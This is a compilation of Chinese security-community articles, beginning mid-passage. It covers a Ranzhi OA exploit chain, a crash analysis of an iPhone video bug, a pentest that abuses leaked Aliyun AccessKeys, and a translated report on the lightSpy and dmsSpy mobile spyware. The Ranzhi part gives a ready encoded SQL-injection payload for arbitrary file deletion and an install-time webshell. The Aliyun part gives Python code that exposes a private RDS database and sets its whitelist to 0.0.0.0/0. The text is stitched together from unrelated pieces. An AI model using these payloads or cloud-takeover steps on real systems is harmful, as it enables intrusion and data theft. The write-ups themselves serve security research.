$realPathName = $this->getRealPathName($file->pathname);
$file->realPath = $this->savePath . $realPathName;
$file->webPath = $this->webPath . $realPathName;
return $this->processFile($file);
}
…
public function delete($fileID, $null = null)
{
$file = $this->getByID($fileID);
if(file_exists($file->realPath)) unlink($file->realPath);
$this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec();
return !dao::isError();
}
逻辑很简单，根据fileID获取文件信息，然后判断存在该文件则删除。其中获取文件信息是从TABLE_FILE数据表中查询，即对应为sys_file表，因为我们可以通过SQL语句修改控制sys_file表，因此就可以控制任意文件删除。
#### 0x02 漏洞利用
首先后台上传一个图片文件。
注意文件名设置为易于识别的字符。然后通过访问file-edit-ID查找该文件的ID。
ID为1，利用SQL注入漏洞修改sys_file表中ID为1的pathname为我们想要删除的文件。
SQL语句：
update sys_file set pathname='../../../config/my.php' where id=1
构造param:
{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }
最终Payload:
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==
然后访问<http://127.0.0.1/ranzhi/www/sys/file-delete-1>
即可完成任意文件删除。同样也可存在任意文件下载漏洞file-download-ID
此时删除了my.php文件之后，该系统将会重新安装。
* * *
### **第三弹：安装时Getshell**
不到shell不罢休。
#### 0x01 漏洞解析
当进入了安装环节，安装时并未进行过滤输入字符，所有的配置信息都会直接写入my.php文件中，利用该点可以直接向配置文件中写入一句话getshell。
#### 0x02 漏洞利用
进入安装配置界面：
<http://127.0.0.1/ranzhi/www/sys/install.php>
如果知道对方数据库密码更好，如果不知道，可以使用远程Mysql服务器。保存之后便会触发。 | 社区文章 |
# 【漏洞分析】iPhone 播放视频自动关机“奇葩”漏洞成因分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **Proteas@** **360 Nirvan
Team**](http://bobao.360.cn/member/contribute?uid=2577449118)
**预估稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**传送门**
* * *
[**iOS又曝新漏洞，播放特定视频导致自动关机（含演示视频）**](http://bobao.360.cn/news/detail/3774.html)
**一、说明**
23号早上主要的网络媒体都发了一条新闻[[iOS又曝新漏洞，播放特定视频导致自动关机（含演示视频））]](http://bobao.360.cn/news/detail/3774.html)，主要内容是：苹果iOS设备又被爆出新漏洞，播放一段特定的MP4视频，将导致设备重启。我们团队在第一时间拿到了视频样本（a92aaf9dc6307e5387cb3206e6faed48），并在设备上做了验证，发现播放视频确实会引起设备重启，并做了简单的技术层面的分析，本文主要介绍了我们分析的步骤与结论。
**二、分析步骤**
**1、观察现象**
首先以某种方式播放问题视频，我们采用的方式是写一个小程序。同时，我们知道 mediaserverd
进程是负责视频播放的后台服务。因此，在播放视频的过程中我们观察 mediaserverd 进程的 CPU 及内存的使用情况：
如上图，我们观察到在播放问题视频时，mediaserverd 的内存占用比较稳定，因此排除内存泄露。但是，CPU 占用非常高，初步猜测：问题视频会造成
mediaserverd 进程死循环。
另外，我们观察到在 CPU 接近 100% 的情况下，过一段时间 iOS 会崩溃，重启后我们可以拿到 Panic Log，主要内容如下：
{
"build" : "iPhone OS 9.0.2 (13A452)",
"product" : "iPhone7,1",
…
"date" : "2016-11-23 10:29:22.22 +0800",
"panicString" : "Debugger message: WDT timeout",
iOS 崩溃的原因是 Watchdog 超时，基本验证了我们之前的猜测。
**2、确定畸形视频范围**
问题视频的总时长为5.01秒，每秒 26 帧，但是在播放前面几秒的视频时并不会造成 iOS
崩溃。为了便于后期分析，我们首先需要确认视频中哪些部分是畸形的。结合之前的观察我们知道：视频中畸形的数据在视频中的位置比较靠后，因此我们从后往前对视频进行裁剪，即：首先取出
[4.01, 5.01] 范围内的视频，然后播放、测试。我们发现 [4.01, 5.01] 这个范围内的视频就会造成 iOS 崩溃。之后，我们又取出
[0.00, 4.01] 这个范围内的视频进行播放、测试，发现这段范围内的视频并不会造成 iOS 崩溃。
最后，我们确认视频中的畸形数据存在于原始视频的最后 1 秒是中，即“秒拍”添加的片尾中：
注：不代表“秒拍”添加的所有片尾都有问题。
**3、分析 iOS 崩溃日志**
mediaserverd 进程 CPU 占用率 100%，问题代码可能在用户空间，也可能存在于内核空间。如果用户空间的代码存在问题，那么
mediaserverd 进程会被杀掉，但是我们观察到直至设备重启前 mediaserverd 进程一直存在。因此，问题代码很可能出在内核空间。
分析内核空间的问题，目前我们手里最直接的信息就是内核的崩溃日志，而内核的崩溃日志中的最有价值的部分就是崩溃线程的调用栈：
Kernel slide: 0x000000000ec00000
Kernel text base: 0xffffff8012c04000
Frame-01: lr: 0xffffff8012d04714 fp: 0xffffff8013120a70
Frame-02: lr: 0xffffff801328b474 fp: 0xffffff8013120f40
Frame-03: lr: 0xffffff80142c308c fp: 0xffffff8013120fd0
Frame-04: lr: 0xffffff8013055f80 fp: 0xffffff8013120fe0
Frame-05: lr: 0xffffff8012cfb26c fp: 0xffffff8013120ff0
Frame-06: lr: 0xffffff8012c3576c fp: 0xffffff80008ab2a0
Frame-07: lr: 0xffffff8012f79d50 fp: 0xffffff80008ab2c0
Frame-08: lr: 0xffffff80143d69c4 fp: 0xffffff80008ab3f0
Frame-09: lr: 0xffffff80143e7cfc fp: 0xffffff80008ab420
Frame-10: lr: 0xffffff80143e8070 fp: 0xffffff80008ab450
Frame-11: lr: 0xffffff80143e9044 fp: 0xffffff80008ab480
Frame-12: lr: 0xffffff80143e71fc fp: 0xffffff80008ab4c0
Frame-13: lr: 0xffffff80143e7448 fp: 0xffffff80008ab520
Frame-14: lr: 0xffffff80143f1348 fp: 0xffffff80008ab550
Frame-15: lr: 0xffffff80143dec50 fp: 0xffffff80008ab680
Frame-16: lr: 0xffffff80143dd59c fp: 0xffffff80008ab690
Frame-17: lr: 0xffffff8013061ee0 fp: 0xffffff80008ab820
Frame-18: lr: 0xffffff8012cdaa64 fp: 0xffffff80008ab950
Frame-19: lr: 0xffffff8012c18460 fp: 0xffffff80008aba30
Frame-20: lr: 0xffffff8012c2634c fp: 0xffffff80008abad0
Frame-21: lr: 0xffffff8012cfd80c fp: 0xffffff80008abba0
Frame-22: lr: 0xffffff8012cfc0f4 fp: 0xffffff80008abc90
Frame-23: lr: 0xffffff8012cfb1f0 fp: 0xffffff80008abca0
Frame-24: lr: 0x0000000198d34c30 fp: 0x0000000000000000
调用栈信息如上，我们首先需要把 lr 的地址映射到具体的内核中。由于，调用栈比较长，这里我们只是给出几个主要的栈帧信息：
Frame-1：保存崩溃信息并重启设备
Frame-8: 输出错误信息，同时可以确定出问题的内核模块为 AppleVXD393
**4、寻找死循环**
我们之前猜测内核中可能存在死循环，现在我们遍历崩溃时的调用栈，寻找死循环具体在什么位置。最后我们发现死循环应该在 Frame-14 中，其主要的伪代码如下：
__int64 __fastcall PRTS_AppleVXD393_Panic_Frame_14(__int64 a1, __int64 a2, int a3)
{
...
for ( i = 1; ; ++i )
{
...
v17 = PRTS_AppleVXD393_Panic_Frame_13(v10);
...
if ( !((unsigned __int8)(v21 ^ v22) | v20) )
break;
v12 = *(_QWORD *)(v10 + 12528);
}
...
}
为了确认是这个函数出问题了，我们首先在 Frame-14 的上层函数中将对 Frame-14 的调用 Patch 调：
Patch日志：
在 Patch 了相关代码之后，我们播放视频发现 iOS 不会崩溃。
同时，为了排除 Frame-14 的下层函数出现问题，我们在 Frame-14 中对下层函数的调用 Patch掉，如下图：
在 Patch 调对下层函数调用后，播放视频还是会造成 iOS
崩溃。总结起来，我们这里使用了注释代码的手段来确定问题代码的范围，最后我们确定：出问题的代码在崩溃时的调用栈的第 14
帧函数中，畸形的视频数据造成该函数死循环。
**三、结论**
由于时间有限，经过简单分析，目前的结论是：播放含有畸形数据的样本视频，会造成 iOS 内核中负责视频解码的模块进入死循环，进而引起内核 WatchDog
超时，造成内核重启。针对该样本，目前没发现更多危害。
**传送门**
[**iOS又曝新漏洞，播放特定视频导致自动关机（含演示视频）**](http://bobao.360.cn/news/detail/3774.html) | 社区文章 |
## 前言
在某次和地方组织前期渗透侦查中(已授权),
通过/.git/获取到网站源码，查看配置文件发现该系统使用OSS进行文件存储,但是网站迟迟shell不下。通过.git对文件进行恢复，得到信息如下：
1.网站部分源码，但是审计相当耗时。
2.查看配置文件发现数据库采用阿里云RDS，且阿里云RDS为内网地址。
3.网站对文件上传采用OSS进行文件存储。
如果是你，shell拿不到，RDS仅对内，3306端口不通，SQL注入，RCE等常见漏洞又没有，改怎么办?
## 信息收集
配置信息如下：
ACCESSKEYID=XXXXX
ACCESSKEYSECRET=XXXXX
ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx
之前了解过，通过KEYID（非子账户）,可以获取到阿里云的服务器权限，例如某些运维平台支持类似这种使用。
但是这些服务器的密码并不知道，及时知道，大部分服务器VPC对外仅开了80，443，而且异地登录会发送告警，这样的方法不可取。
## 利用方式
获取到MYSQL，但是通过ping，可以看到实际上是一个内网IP，其实服务器是在一个VPC里，也就是数据库只允许内网来链接，这样我们怎么办呢，可能都束手无策了吧。
主要需要分析数据，但是RDS并不允许连接。查询阿里云相关文件，发现RDS其实也可以使用ACCESSKEY来进行操作的。
通过阿里云官网，可以下载工具Rdscli
<https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban>
查看相关文档，配置就不再次啰嗦了，文档里面都包含：
通过key查看账户下RDS相关实例：
rds DescribeDBInstances --PageSize 50
返回如下：
[root@localhost Rdscli]# rds DescribeDBInstances --PageSize 50
---------------------------------------------------------------------------------------- | DescribeDBInstances |
+-------------------+----------------------------------------------------------------+
| PageNumber | 1 |
| PageRecordCount | 6 |
| RequestId | XXXXXXXX-XXXX-4A0B-97C1-C5XXXXXXXXXX |
| TotalRecordCount | 6 |
+-------------------+-----------------------------------------------------------------+
|| Items ||
|+-----------------------------------------------------------------------------------+|
||| DBInstance |||
||+-------------------------+-----------------------------------------------------+||
||| ConnectionMode | Standard |||
||| CreateTime | 2020-08-14T12:46:23Z |||
||| DBInstanceClass | rds.mysql.s3.large |||
||| DBInstanceDescription | rr-XXXXXXXXXXXXXXXXX |||
||| DBInstanceId | rr-XXXXXXXXXXXXXXXXX |||
||| DBInstanceNetType | Intranet |||
||| DBInstanceStatus | Running |||
||| DBInstanceStorageType | |||
||| DBInstanceType | Readonly |||
||| Engine | MySQL |||
||| EngineVersion | 8.0 |||
||| ExpireTime | 2020-10-14T16:00:00Z |||
||| InsId | 1 |||
||| InstanceNetworkType | VPC |||
||| LockMode | Unlock |||
||| LockReason | |||
||| MasterInstanceId | rm-XXXXXXXXXXXXXXXXX |||
||| MutriORsignle | False |||
||| PayType | Prepaid |||
||| RegionId | cn-beijing |||
||| ResourceGroupId | rg-XXXXXXXXXXXXXXX |||
||| VSwitchId | vsw-XXXXXXXXXXXXXXXXXXXXX |||
||| VpcCloudInstanceId | rr-XXXXXXXXXXXXXXXXX |||
||| VpcId | vpc-XXXXXXXXXXXXXXXXXXXXX |||
||| ZoneId | cn-beijing-h |||
||+--------------------------------+------------------------------------------------+||
通过工具获取实例ID，查看某个实例信息：
rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test
返回实例详细信息：
{
"Items": {
"DBInstanceAttribute": [
{
"Category": "HighAvailability",
"SupportUpgradeAccountType": "No",
"InsId": 1,
"LockMode": "Unlock",
"ConnectionString": "rr-xxxxxxxxxx.mysql.rds.aliyuncs.com",
"MasterInstanceId": "rm-xxxxxxxxxxxx",
"DBInstanceStorageType": "local_ssd",
"DBInstanceNetType": "Intranet",
"ReadDelayTime": "0",
"ReadOnlyDBInstanceIds": {
"ReadOnlyDBInstanceId": []
},
"SupportCreateSuperAccount": "No",
"MaxConnections": 2000,
"DBInstanceClassType": "x",
"Engine": "MySQL",
"AvailabilityValue": "100.0%",
"CanTempUpgrade": true,
"VpcId": "vpc-xxxxxxxxxxx",
"IPType": "IPv4",
"DBMaxQuantity": 99999,
"ConnectionMode": "Standard",
"RegionId": "cn-beijing",
"SlaveZones": {
"SlaveZone": []
},
"ResourceGroupId": "rg-xxxx",
"VSwitchId": "vsw-xxxxxx",
"InstanceNetworkType": "VPC",
"ExpireTime": "2020-10-14T16:00:00Z",
"ConsoleVersion": "",
"DBInstanceType": "Readonly",
"DBInstanceStatus": "Running",
"ProxyType": 0,
"DispenseMode": "ClassicDispenseMode",
"CreationTime": "2020-08-14T12:46:23Z",
"SecurityIPMode": "normal",
"SuperPermissionMode": "",
"AutoUpgradeMinorVersion": "Auto",
"EngineVersion": "8.0",
"CurrentKernelVersion": "rds_20200630",
"DBInstanceDiskUsed": 67697115136,
"IncrementSourceDBInstanceId": "rm-xxxxxxx",
"VpcCloudInstanceId": "rr-xxxxxxx",
"DBInstanceMemory": 8192,
"MaxIOPS": 5000,
"DedicatedHostGroupId": "",
"DBInstanceStorage": 100,
"DBInstanceDescription": "rr-xxxxxxx",
"Extra": {
"DBInstanceIds": {
"DBInstanceId": []
}
},
"LatestKernelVersion": "rds_20200630",
"DBInstanceId": "rr-xxxxxxxxxxxx",
"PayType": "Prepaid",
"AccountMaxQuantity": 99999,
"OriginConfiguration": "",
"MaintainTime": "18:00Z-22:00Z",
"DBInstanceCPU": "4",
"AccountType": "Mix",
"DBInstanceClass": "rds.mysql.s3.large",
"SecurityIPList": "",
"Port": "3306",
"ZoneId": "cn-beijing-h"
}
]
},
"RequestId": "A1A4E351-1778-xxxx-9D57-xxxxxxx"
然后我自己在阿里云注册了一个看看RDS平台提供的功能：
注册发现，实际上RDS分为内网域名和外网域名的，默认是不开外网地址的，需要自己去申请，查看的RDS ConnectionString
很明显是一个内网的地址。
查询官方API，发现有支持此功能的API：
调用AllocateInstancePublicConnection接口申请实例的外网地址
<https://help.aliyun.com/document_detail/26234.html?spm=a2c4g.11186623.6.1655.6eb83c34jOC0ON>
申请外网地址代码如下：
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import AllocateInstancePublicConnectionRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = AllocateInstancePublicConnectionRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
request.set_ConnectionStringPrefix("public_domain")
request.set_Port("3306")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
开通完外网域名之后，我们再去查询一下RDS实例域名地址：
调用DescribeDBInstanceNetInfo接口查询实例的所有连接地址信息:
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import DescribeDBInstanceNetInfoRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-hangzhou')
request = DescribeDBInstanceNetInfoRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
返回如下：
{
"RequestId": "xxxx-xx-xx-xx-xxxxxxx",
"DBInstanceNetInfos": {
"DBInstanceNetInfo": [
{
"IPType": "Private",
"VPCId": "vpc-xxxxxxxxx",
"Port": "3306",
"VSwitchId": "vsw-xxxxxx",
"Upgradeable": "Disabled",
"ConnectionString": "rm-xxxxxx.mysql.rds.aliyuncs.com",
"IPAddress": "172.xx.xxx.xxx",
"SecurityIPGroups": {
"securityIPGroup": []
},
"DBInstanceWeights": {
"DBInstanceWeight": []
},
"ConnectionStringType": "Normal"
},
{
"IPType": "Public",
"VPCId": "",
"Port": "3306",
"VSwitchId": "",
"Upgradeable": "Disabled",
"ConnectionString": "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com",
"IPAddress": "xxx.xxx.xxx.xxx",
"SecurityIPGroups": {
"securityIPGroup": []
},
"DBInstanceWeights": {
"DBInstanceWeight": []
},
"ConnectionStringType": "Normal"
}
]
},
"SecurityIPMode": "normal",
"InstanceNetworkType": "VPC"
}
这样就获取到这个RDS外网地址了，获取外网地址，发现端口不通。
测试发现我自己的也不通，看来是网络的问题了，查一下文档：
解决RDS外网无法访问：<https://help.aliyun.com/knowledge_detail/96028.html#2>
1、确认访问RDS实例的IP地址已添加到RDS白名单。如果未添加，请参见设置白名单，进行设置。
2、检查ECS实例的安全组。
登录云服务器管理控制台。
找到该实例，单击管理进入实例详情页面，在左侧导航栏，单击本实例安全组。在内网出方向安全全部规则中确认不存在对RDS实例的限制策略。
请检查是否开启了高安全白名单模式，具体请参见高安全白名单模式。如果已开启，需确保设备公网IP地址已添加到经典网络的分组。
注意：专有网络的分组不适用于公网。
3、查看RDS实例的状态，检查是否存在因为磁盘空间超出购买规格限制而被锁定。在实例锁定期间，应用无法对RDS数据库进行读写操作，详情请参见如何排查MySQL实例空间满后自动锁定的原因。
4、通过查看RDS实例的性能监控。
其他性能问题请参见解决CPU、内存、空间、IOPS使用率偏高的问题。
如是业务正常增长，建议您对实例进行配置升级。
说明：升配过程中可能会有一次30s左右的闪断，建议用户做好连接重连机制，保证用户业务的正常运行，具体信息请参考RDS使用须知。
5、确认白名单中添加的设备公网IP地址为设备真正的出口IP地址。IP地址填写错误的原因如下：
设备的公网IP地址不固定，可能会变动。
IP地址查询工具或网站查询的公网IP地址不准确。关于确认设备公网IP地址的方法，请参见定位本地IP。
6、确认使用的连接地址为RDS的外网地址。
看了下我自己的：
RDS默认是127.0.0.1，拒绝所有的，所以我们需要设置一下，允许我们来链接，这样就不会因为火墙就不会导致端口不通了。
可以先查一下IP白名单：
调用DescribeDBInstanceIPArrayList接口查询RDS实例IP白名单。
<https://help.aliyun.com/document_detail/26241.html?spm=a2c4g.11186623.6.1715.34013a167E3PKs>
调用DescribeDBInstanceAttribute接口查询RDS实例的详细信息。
<https://help.aliyun.com/document_detail/26231.html?spm=5176.10695662.1996646101.searchclickresult.5afd39f8vo1M3l>
# 查询IP白名单
request = DescribeDBInstanceIPArrayListRequest()
request.set_accept_format('json')
request.set_DBInstanceId("rm-xxxxxxxxx")
response = client.do_action_with_exception(request)
然后我们再添加一下IP白名单：
调用ModifySecurityIps接口修改RDS实例IP白名单。
<https://help.aliyun.com/document_detail/26242.html?spm=a2c4g.11186623.6.1717.14755667CITNGy>
from aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import ModifySecurityIpsRequest
client = AcsClient('xxxxx', 'xxxxxxx', 'cn-beijing')
# 修改IP白名单
request = ModifySecurityIpsRequest()
request.set_accept_format('json')
request.set_DBInstanceId("rm-xxxxxxx")
request.set_SecurityIps("0.0.0.0/0")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response))
设置0.0.0.0/0所有对外就都可以链接了。
这样，我们就获得了RDS的外网域名，RDS外网访问权限。
刚才说的工具命令也提供了部分功能：
[root@localhost Rdscli]# rds help
usage: rds <operation> [options and parameters]
[rds] valid operations as follows:
CancelImport | CreateAccount
CreateBackup | CreateDBInstance
CreateDBInstanceForChannel | CreateDBInstanceforFirstPay
CreateDatabase | CreatePostpaidDBInstance
CreateTempDBInstance | CreateUploadPathForSQLServer
DeleteAccount | DeleteDBInstance
DeleteDatabase | DescribeAccounts
DescribeBackupPolicy | DescribeBackups
DescribeBinlogFiles | DescribeDBInstanceAttribute
DescribeDBInstancePerformance | DescribeDBInstances
DescribeDatabases | DescribeErrorLogs
DescribeFilesForSQLServer | DescribeImportsForSQLServer
DescribeOptimizeAdviceByDBA | DescribeOptimizeAdviceOnBigTable
DescribeOptimizeAdviceOnExcessIndex | DescribeOptimizeAdviceOnMissIndex
DescribeOptimizeAdviceOnMissPK | DescribeOptimizeAdviceOnStorage
DescribeParameterTemplates | DescribeParameters
DescribeRegions | DescribeResourceUsage
DescribeSQLLogRecords | DescribeSQLLogReports
DescribeSlowLogRecords | DescribeSlowLogs
ExportDBInstance | GrantAccountPrivilege
ImportDBInstance | ImportDataForSQLServer
ImportDatabaseBetweenInstances | ModifyAccountDescription
ModifyBackupPolicy | ModifyDBDescription
ModifyDBInstanceDescription | ModifyDBInstanceMaintainTime
ModifyDBInstanceSpec | ModifyParameter
ModifyPostpaidDBInstanceSpec | ModifySecurityIps
PurgeDBInstanceLog | ResetAccountPassword
RestartDBInstance | RevokeAccountPrivilege
SwitchDBInstanceNetType | UpgradeDBInstanceEngineVersion
例如：
rds ExportDBInstance --DBInstanceId rr-xxxxx --ModifySecurityIps 0.0.0.0/0
和Python脚本一样，即可外网链接。
同样，我们也可以开通一个安全组、修改RDS密码，重启RDS等等操作。
RDS API
<https://help.aliyun.com/document_detail/182821.html?spm=a2c4g.11186623.2.10.4b1b2eb15RxpE2#doc-8073>
## 修复建议
1.其实阿里云已经对ACCESSKEY进行分级，各种应用的子key，但是不排除扔有人直接使用ACCESSKEY,使用子key就可以避免掉这些问题。 | 社区文章 |
# Operation Poisoned News：针对香港用户的水坑攻击
##### 译文声明
本文是翻译文章，文章原作者 trendmicro，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
研究人员最近发现了针对香港iOS用户的水坑攻击，攻击者在多个论坛上发布了恶意链接，这些链接指向的是各种新闻报道。当用户被诱导访问这些新闻站点时，攻击者还使用了隐蔽的`iframe`来加载并执行恶意代码，这些恶意代码中包含针对iOS
12.1及12.2系统的漏洞利用代码。如果用户使用存在漏洞的设备点击这些链接，就会下载一种全新的iOS恶意软件变种，我们将该变种标记为`lightSpy`（对应检测标识为`IOS_LightSpy.A`）。
## 0x01 恶意软件概览
这款恶意软件变种为模块化后门，允许攻击者远程执行shell命令、篡改被感染设备上的文件。攻击者可以监控目标用户设备，完全控制该设备。该后门包含多个模块，可以从被感染的设备中窃取数据，包括如下隐私数据：
* 连接过的Wi-Fi历史记录
* 联系人
* GPS位置
* 硬件信息
* iOS keychain
* 电话记录
* Safari及Chrome浏览器历史
* SMS消息
攻击者也会窃取目标设备上与用户网络环境有关的信息，包括：
* 可用的Wi-Fi网络
* 本地网络IP地址
攻击者也会针对某些即时通讯类应用，窃取相关信息，这些应用包括：
* Telegram
* QQ
* WeChat
经过研究后，我们还找到了针对Android设备的相似攻击团伙，该团伙曾在2019年活动过。指向恶意.APK文件的各种链接曾出现在与香港有关的Telegram频道中，攻击者声称这些链接为各种合法应用，但实际上指向的是恶意app，可以窃取设备信息、通信录以及SMS消息。我们将这个Android恶意软件家族称之为`dmsSpy`（并将`dmsSpy`的各种变种标记为`AndroidOS_dmsSpy.A.`）。
根据恶意软件的架构及功能，我们猜测此次攻击并没有针对特定用户，目标应该是尽可能多地感染移动设备，部署监控后门。根据恶意软件的传播方式，我们将此次攻击活动命名为“Operation
Poisoned News”。
本文介绍了`lightSpy`及`dmsSpy`的整体功能及传播方式，大家可以访问[此处](https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf)查看更多技术细节（比如IoC等）。
## 0x02 传播方式
2月19日，我们发现了针对iOS用户的水坑攻击
，其中所使用的URL指向的是攻击者创建的恶意站点，该站点中包含指向不同站点的3个`iframe`，其中只有1个`iframe`可见，并且指向的是合法的新闻网站，这样用户就会误认为自己访问的是正常站点。另外两个不可见的`iframe`中，有一个用于网站分析，另一个指向的是托管iOS漏洞利用主脚本的站点。这3个`iframe`的代码片段如下：
图1. 恶意站点中包含3个`iframe`的HTML代码
攻击者将指向恶意站点的链接发布在香港居民常用的4个不同的论坛上。这些论坛为用户提供了移动端app，方便用户在移动设备上访问。攻击者在论坛的一般讨论板块中发表了诱导性新闻，使用了特定新闻报道的标题、相关图片，同时搭配了指向新闻站点的（虚假）链接。
攻击者使用新注册的账户在论坛上发表帖子，因此我们认为这些操作并不是通过正常账户来完成。攻击者使用的诱骗主题包括两性相关标题、点击欺诈式标题或者与COVID-19病毒有关的新闻。我们认为这些主题并非针对特定用户，而是以访问该站点的所有用户为目标。
图2. 攻击者使用的新闻标题
图3. 包含恶意站点链接的论坛帖子
除了使用上述技术外，我们还发现了第二类水坑站点。在这类攻击场景中，攻击者复制了合法网站，并注入了恶意`iframe`。根据我们的感知数据，攻击者从1月2日开始就在香港传播这类水坑攻击链接，然而我们并不知道这类链接的传播媒介。
图4. 攻击者复制的新闻页面，其中包含恶意漏洞利用代码的`iframe`
这些攻击活动一直持续到3月20日，最近一次的帖子内容与香港的抗议活动日程表有关，然而帖子中的链接实际上会指向前面提到过的感染链路。
图5. 仿冒日程表的恶意网站链接
## 0x03 感染链
攻击者在此次活动中使用的漏洞会影响iOS 12.1及12.2系统，涉及到多款iPhone型号，从iPhone 6S到iPhone X，如下代码片段所示：
图6. 检查目标设备的代码
完整的漏洞利用链中包括被Apple悄悄修复的一个Safari漏洞（影响最新的多个iOS版本）以及一个自定义内核漏洞利用代码。当Safari浏览器渲染漏洞利用代码时，执行流会被导向到某个bug（Apple在新版iOS中修复了这个bug），从而会利用已知的一个内核bug，最终帮攻击者拿到root权限。这个内核bug对应的漏洞编号为[CVE-2019-8605](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605)，而被悄悄修复的Safari漏洞并没有对应的CVE编号，虽然[其他研究人员](https://twitter.com/qwertyoruiopz/status/1147308549330165760)曾提到过与该问题有关的信息。
当成功拿下目标设备后，攻击者就会安装未公开且比较复杂的一款间谍软件，用来维持对目标设备的控制权限并窃取信息。这款间谍软件使用了模块化设计架构，包含多个功能，比如：
1、模块升级功能；
2、针对每个模块的远程命令分派功能；
3、完整功能的shell命令模块。
这款间谍软件的大多数模块专为窃取数据设计，比如，恶意软件中包含针对Telegram及WeChat的信息窃取模块。恶意软件所使用的感染链及各种模块如下图所示：
图7. `lightSpy`感染链及模块
我们之所以将这款恶意软件命名为`lightSpy`，是因为模块管理器的名称为`light`。我们还发现恶意软件的`launchctl`模块使用了一个配置文件，该文件经过解码后包含指向`/androidmm/light`位置的一个URL，这表明恶意软件也存在适配Android系统的版本。
## 0x04 lightSpy概览
接下来我们简要分析一下`lightSpy`的功能及相关payload（由于篇幅所限，这里我们没有给出详细信息），我们在另一篇[文章](https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf)中提供了更多细节。
当触发内核漏洞时，`payload.dylib`会下载多个模块，如下代码所示：
图8. 下载的模块
以上模块中有些模块与启动及加载有关。比如，`launchctl`这款工具用来加载或卸载守护程序/agent，并且该工具会使用`ircbin.plist`作为参数。守护程序会运行`irc_loader`，该程序只是主恶意模块（`light`）的一个加载器（从名称中我们就可以推测这一点），但其中硬编码了C&C服务器的地址。
`light`模块为恶意软件的主控制模块，可以加载及更新其他模块。剩下的模块用来窃取不同类型的数据，如下所示：
1、`dylib`：获取并上传基本信息，包括iPhone硬件信息、联系人、文本信息及通话记录。
2、`ShellCommandaaa`：在被感染设备上执行shell命令，获取的结果经过序列化处理后上传到特定服务器。
3、`KeyChain`：窃取并上传Apple KeyChain中包含的信息。
4、`Screenaaa`：使用被感染设备扫描并ping同一子网中的设备，ping结果上传到攻击者的服务器。
5、`SoftInfoaaa`：获取设备上的app及进程信息。
6、`FileManage`：在设备上执行文件系统相关操作。
7、`WifiList`：获取已保存的Wi-Fi信息（已保存的网络，Wi-Fi连接历史等）。
8、`browser`：从Chrome及Safari中获取浏览器历史记录。
9、`Locationaaa`：获取用户地理位置。
10、`ios_wechat`：获取与WeChat有关的信息，包括：账户信息、联系人、群组、消息及文件。
11、`ios_qq`：针对QQ应用，功能与`ios_wechat`类似。
12、`ios_telegram`：针对Telegram应用，功能与前两个模块类似。
这些模块组合在一起，可以帮助攻击者完全拿下目标设备控制权，窃取用户的大部分隐私信息。此次攻击活动针对的是香港应用市场中的多款常用聊天app，从中我们可知这也是攻击者的目标。
## 0x05 dmsSpy概览
前面提到过，`lightSpy`有个对应Android版本：`dmsSpy`。在2019年，攻击者在Telegram公共频道中以不同app形式来传播这些变种。虽然在此次研究过程中，这些链接均已失效，但我们还是拿到了其中一个样本。
我们拿到的样本为日历类app，其中包含香港区域的活动日程表。该应用中包含我们在恶意软件中经常看到的功能，比如请求敏感权限、将敏感信息传递给C&C服务器等。这些信息中包含貌似无害的信息（如设备型号），但也包含其他敏感信息，如联系人、短信、用户地理位置及存储文件的文件名。`dmsSpy`同样会注册一个Receiver，用来读取新收到的SMS、运行USSD代码。
